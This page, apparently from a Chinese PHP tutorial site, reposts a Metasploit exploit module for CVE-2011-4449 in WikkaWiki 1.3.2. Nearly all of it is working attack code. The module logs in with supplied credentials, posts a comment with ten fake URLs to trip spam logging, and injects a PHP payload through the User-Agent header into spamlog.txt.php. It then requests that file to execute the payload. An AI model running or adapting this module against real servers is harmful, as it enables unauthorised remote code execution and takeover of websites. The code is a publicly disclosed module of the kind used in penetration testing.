网站地图    收藏   

主页 > 后端 > 网站安全 >

WikkaWiki 1.3.2 Spam Logging PHP注射 - 网站安全 - 自学

来源:自学PHP网    时间:2015-04-17 13:02 作者: 阅读:

[导读] ### This file is part of the Metasploit Framework and may be subject to# redistribution and commercial restrictions. Please see the Metasploit# Framework web site for mor......

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
       Rank = ExcellentRanking
 
       include Msf::Exploit::Remote::HttpClient
 
       def initialize(info={})
              super(update_info(info,
                     'Name'           => "WikkaWiki 1.3.2 Spam Logging PHP Injection",
                     'Description'    => %q{
                                   This module exploits a vulnerability found in WikkaWiki.  When the spam logging
                            feature is enabled, it is possible to inject PHP code into the spam log file via the
                            UserAgent header , and then request it to execute our payload.  There are at least
                            three different ways to trigger spam protection, this module does so by generating
                            10 fake URLs in a comment (by default, the max_new_comment_urls parameter is 6).
 
                                   Please note that in order to use the injection, you must manually pick a page
                            first that allows you to add a comment, and then set it as 'PAGE'.
                     },
                     'License'        => MSF_LICENSE,
                     'Author'         =>
                            [
                                   'EgiX',   #Initial discovery, PoC
                                   'sinn3r'  #Metasploit
                            ],
                     'References'     =>
                            [
                                   ['CVE', '2011-4449'],
                                   ['OSVDB', '77391'],
                                   ['EDB', '18177'],
                                   ['URL', 'http:// www.2cto.com /trac/wikka/ticket/1098']
                            ],
                     'Payload'        =>
                            {
                                   'BadChars' => "\x00"
                            },
                     'DefaultOptions'  =>
                            {
                                   'ExitFunction' => "none"
                            },
                     'Arch'           => ARCH_PHP,
                     'Platform'       => ['php'],
                     'Targets'        =>
                            [
                                   ['WikkaWiki 1.3.2 r1814', {}]
                            ],
                     'Privileged'     => false,
                     'DisclosureDate' => "Nov 30 2011",
                     'DefaultTarget'  => 0))
 
              register_options(
                     [
                            OptString.new('USERNAME',  [true, 'WikkaWiki username']),
                            OptString.new('PASSWORD',  [true, 'WikkaWiki password']),
                            OptString.new('PAGE',      [true, 'Page to inject']),
                            OptString.new('TARGETURI', [true, 'The URI path to WikkaWiki', '/wikka/'])
                     ], self.class)
       end
 
 
       def check
              res = send_request_raw({
                     'method' => 'GET',
                     'uri'    => "#{target_uri.path}wikka.php?wakka=HomePage"
              })
 
              if res and res.body =~ /Powered by WikkaWiki/
                     return Exploit::CheckCode::Detected
              else
                     return Exploit::CheckCode::Safe
              end
       end
 
 
       #
       # Get the cookie before we do any of that login/exploity stuff
       #
       def get_cookie
              res = send_request_raw({
                     'method' => 'GET',
                     'uri'    => "#{@base}wikka.php"
              })
 
              # Get the cookie in this format:
              # 96522b217a86eca82f6d72ef88c4c7f4=pr5sfcofh5848vnc2sm912ean2; path=/wikka
              if res and res.headers['Set-Cookie']
                     cookie = res.headers['Set-Cookie'].scan(/(\w+\=\w+); path\=.+$/).flatten[0]
              else
                     raise RuntimeError, "#{@peer} - No cookie found, will not continue"
              end
 
              cookie
       end
 
 
       #
       # Do login, and then return the cookie that contains our credential
       #
       def login(cookie)
              # Send a request to the login page so we can obtain some hidden values needed for login
              uri = "#{@base}wikka.php?wakka=UserSettings"
              res = send_request_raw({
                     'method'  => 'GET',
                     'uri'     => uri,
                     'cookie'  => cookie
              })
 
              # Extract the hidden fields
              login = {}
              if res and res.body =~ /\<div id\=\"content\"\>.+\<fieldset class\=\"hidden\"\>(.+)\<\/fieldset\>.+\<legend\>Login\/Register\<\/legend\>/m
                     fields = $1.scan(/\<input type\=\"hidden\" name\=\"(\w+)\" value\=\"(\w+)\" \/>/)
                     fields.each do |name, value|
                            login[name] = value
                     end
              else
                     raise RuntimeError, "#{@peer} - Unable to find the hidden fieldset required for login"
              end
 
              # Add the rest of fields required for login
              login['action']       = 'login'
              login['name']         = datastore['USERNAME']
              login['password']     = datastore['PASSWORD']
              login['do_redirect']  = 'on'
              login['submit']       = "Login"
              login['confpassword'] = ''
              login['email']        = ''
 
              port = (rport.to_i == 80) ? "" : ":#{rport}"
              res = send_request_cgi({
                     'method'    => 'POST',
                     'uri'       => uri,
                     'cookie'    => cookie,
                     'headers'   => { 'Referer' => "http://#{rhost}#{port}#{uri}" },
                     'vars_post' => login
              })
 
              if res and res.headers['Set-Cookie'] =~ /user_name/
                     user = res.headers['Set-Cookie'].scan(/(user_name\@\w+=\w+);/)[0] || ""
                     pass = res.headers['Set-Cookie'].scan(/(pass\@\w+=\w+)/)[0] || ""
                     cookie_cred = "#{cookie}; #{user}; #{pass}"
              else
                     cred = "#{datastore['USERNAME']}:#{datastore['PASSWORD']}"
                     raise RuntimeError, "#{@peer} - Unable to login with \"#{cred}\""
              end
 
              return cookie_cred
       end
 
 
       #
       # After login, we inject the PHP payload
       #
       def inject_exec(cookie)
              # Get the necessary fields in order to post a comment
              res = send_request_raw({
                     'method' => 'GET',
                     'uri'    => "#{@base}wikka.php?wakka=#{datastore['PAGE']}&show_comments=1",
                     'cookie' => cookie
              })
 
              fields = {}
              if res and res.body =~ /\<form action\=.+processcomment.+\<fieldset class\=\"hidden\"\>(.+)\<\/fieldset\>/m
                     $1.scan(/\<input type\=\"hidden\" name\=\"(\w+)\" value\=\"(.+)\" \/>/).each do |n, v|
                            fields[n] = v
                     end
              else
                     raise RuntimeError, "#{@peer} - Cannot get necessary fields before posting a comment"
              end
 
              # Generate enough URLs to trigger spam logging
              urls = ''
              10.times do |i|
                     urls << "http://www.#{rand_text_alpha_lower(rand(10)+6)}.#{['com', 'org', 'us', 'info'].sample}\n"
              end
 
              # Add more fields
              fields['body']   = urls
              fields['submit'] = 'Add'
 
              # Inject payload
              b64_payload = Rex::Text.encode_base64(payload.encoded)
              port = (rport.to_i == 80) ? "" : ":#{rport}"
              uri = "#{@base}wikka.php?wakka=#{datastore['PAGE']}/addcomment"
              post_data = ""
              send_request_cgi({
                     'method'    => 'POST',
                     'uri'       => "#{@base}wikka.php?wakka=#{datastore['PAGE']}/addcomment",
                     'cookie'    => cookie,
                     'headers'   => { 'Referer' => "http://#{rhost}:#{port}/#{uri}" },
                     'vars_post' => fields,
                     'agent'     => "<?php #{payload.encoded} ?>"
              })
 
              send_request_raw({
                     'method' => 'GET',
                     'uri'    => "#{@base}spamlog.txt.php"
              })
       end
 
 
       def exploit
              @peer = "#{rhost}:#{rport}"
 
              @base = target_uri.path
              @base << '/' if @base[-1, 1] != '/'
 
              print_status("#{@peer} - Getting cookie")
              cookie = get_cookie
 
              print_status("#{@peer} - Logging in")
              cred = login(cookie)
 
              print_status("#{@peer} - Triggering spam logging")
              inject_exec(cred)
 
              handler
       end
end
 
 
=begin
For testing:
svn -r 1814 co https://wush.net/svn/wikka/trunk wikka
 
Open wikka.config.php, do:
'spam_logging' => '1'
=end

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论